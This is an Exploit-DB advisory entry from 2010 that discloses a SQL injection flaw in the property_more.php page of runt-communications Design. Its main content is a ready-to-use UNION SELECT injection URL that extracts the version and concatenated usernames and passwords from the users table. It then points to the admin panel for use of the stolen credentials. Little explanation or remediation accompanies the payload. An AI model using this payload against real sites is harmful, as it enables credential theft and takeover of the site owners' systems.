runt-communications Design property_more.php SQL Injec.Vulnerability

2010-05-24T00:00:00
ID EDB-ID:12716
Type exploitdb
Reporter CoBRa_21
Modified 2010-05-24T00:00:00

Description

runt-communications Design (property_more.php) SQL Injec.Vulnerability. Webapps exploit for php platform

                                        
                                            -------------------------------------------------------------------------------------------

runt-communications Design (property_more.php) SQL Injection Vulnerability

-------------------------------------------------------------------------------------------

Author: CoBRa_21

Mail: uyku_cu@windowslive.com

Script Home: http://runtcommunications.com

-------------------------------------------------------------------------------------------

Sql Injection:

http://localhost/[path]/property_more.php?id=-9999 union select 0,version(),2,3,group_concat(username,0x3a,password),5,6,7,8,9,10,11 from users

Admin Panel

http://localhost/[path]/admin
-------------------------------------------------------------------------------------------